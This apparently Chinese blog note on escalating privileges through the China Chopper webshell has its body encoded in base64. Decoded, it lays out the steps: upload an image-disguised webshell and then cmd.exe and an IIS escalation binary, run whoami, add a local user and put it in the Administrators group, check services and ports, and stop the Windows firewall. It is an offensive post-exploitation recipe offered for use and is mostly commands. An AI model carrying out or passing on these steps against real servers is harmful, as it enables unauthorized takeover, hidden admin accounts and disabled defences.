关于提权问题——菜刀

MS7pnIDopoHkuIDkuKrlm77niYfnoIHphY3lkIjvvIzkuIrkvKDmlofku7bvvIzmiJDlip/lkI7vvIzmiZPlvIDoj5zliIDvvIznhLblkI7lvIDlp4vmk43kvZzjgIIKMi7miZPlvIDoj5zliIDvvIzngrnlh7vlr7nlupTnmoTmlofku7bnrqHnkIbvvIzmiJHku6zpmo/kvr/miZPlvIDkuIDkuKrmlofku7bvvIzkvJrlh7rnjrDmnYPpmZDkuI3lpJ/nmoTlrZfnnLzjgILpgqPkuYjmiJHku6zlsLHlj6/ku6Xmj5DmnYPkuobjgIIKMy7miZPlvIDomZrmi5/nu4jnq6/vvIzovpPlhaV3aG9hbWksCiAqKiDlpoLmnpzlh7rnjrDkuI3lhYHorrjvvIzpgqPkuYjmk43kvZzlpoLkuIvvvJoKIOWbnuWIsOaWh+S7tueuoeeQhu+8jOmAieaLqeS4gOS4quaWh+S7tuWkue+8jOWPs+mUruWNleWHu++8jOS4iuS8oOaWh+S7tu+8jOS4iuS8oOS4gOS4qmNkbS5leGUg5ZKMaWlzLmV4ZSzmiJDlip/lkI7lho3lm57liLDomZrmi5/nu4jnq6/vvIzovpPlhaV3aG9hbWks5LiA6Iis5bCx5Y+v5Lul5oiQ5Yqf44CCCiAKIAogKiog5aaC5p6c5LiA5YiH5q2j5bi477yM6YKj5LmI5pON5L2c5aaC5LiL77yaCiDovpPlhaUgbmV0IHVzZXIg55So5oi35ZCNIOWvhueggS9hZGQgKOWmguaenOi/mOaYr+S4jeihjO+8jOWPr+S7pei/lOWbnuWIsOS9oOWImuaJjeS4iuS8oOaWh+S7tueahOmCo+S4quebruW9leOAguS4gOiIrGNkIC4uL+aYr+i/lOWbnuS4iuS4gOe6p+eahOaEj+aAne+8jGNkIHVzZXIg5piv6L+b5YWl6K+l55uY55qEdXNlcuebruW9leS4i+OAggog6L+Z5Liq5pe25YCZ55qE5ZG95Luk5piv77yaaWlzLmV4ZSAid2hvYW1pIiDlsLHlj6/ku6XmiJDlip/kuoYpCiMjIyMg5LiA6Iis5aaC5p6cIG5ldCB1c2VyIHl5eSAyNDM1L2FkZCDmsqHmnInmiJDlip/vvIzpgqPkuYjlsLHnlKggaWlzLmV4ZSAibmV0IHVzZXIgeXl5IDI0MzUvYWRkIgoK5p+l55yL5b2T5YmN55So5oi355qE54q25oCBOiBuZXQgdXNlciB5eXkg5oiWIGlpcy5leGUgIm5ldCB1c2VyIHl5eSIK5o+Q5p2D77yabmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgcGlnIC9hZGTmiJZpaXM2LmV4ZSAibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgcGlnIC9hZGQiCuafpeeci+acjeWKoe+8mnRhc2tsaXN0IC1zdmMK5p+l55yL5LqG56uv5Y+j5ZKM6L+e5o6l54q25oCB77yabmV0c3RhdCAtYW5vCuafpeeci+acrOacuueahOerr+WPo+WPt++8mm5ldHN0YXQgLWEgLW4K5YW25LitbGlzdGVuIOihqOekuuebkeWQrO+8jEVTVEFCTElTSEVEIOihqOekuuW7uueri+i/nuaOpe+8jENMT1NFX1dBSVTooajnpLrlr7nmlrnkuLvliqjlhbPpl63ov57mjqXmiJbogIXnvZHnu5zlvILluLjlr7zoh7Tov57mjqXkuK3mlq3vvIxUSU1FX1dBSVTooajnpLrmiJHmlrnkuLvliqjosIPnlKhjbG9zZSgp5pat5byA6L+e5o6lCuWFs+mXremYsueBq+Wime+8mm5ldCBzdG9wIHNoYXJlZGFjY2VzcyAKCuWGmeS6huS4gOWNiu+8jOeqgeeEtuWPkeeOsOiHquW3seaYr+S4quW8n+W8n++8jOWlieS4iuS4gOS4que9keermWh0dHBzOi8vd3d3LmNuYmxvZ3MuY29tL2RnZ3NlYy9wLzEwMTI2MzgyLmh0bWwg6L+Z6YeM5b6I6K+m57uG44CCCiBodHRwczovL3d3dy5jbmJsb2dzLmNvbS9taWxhbnRnaC9jYXRlZ29yeS81OTQ0MzYuaHRtbCDov5nkuKrnvZHnq5nkuZ/lvojljonlrrPjgILlpJrlrabkuaDjgII=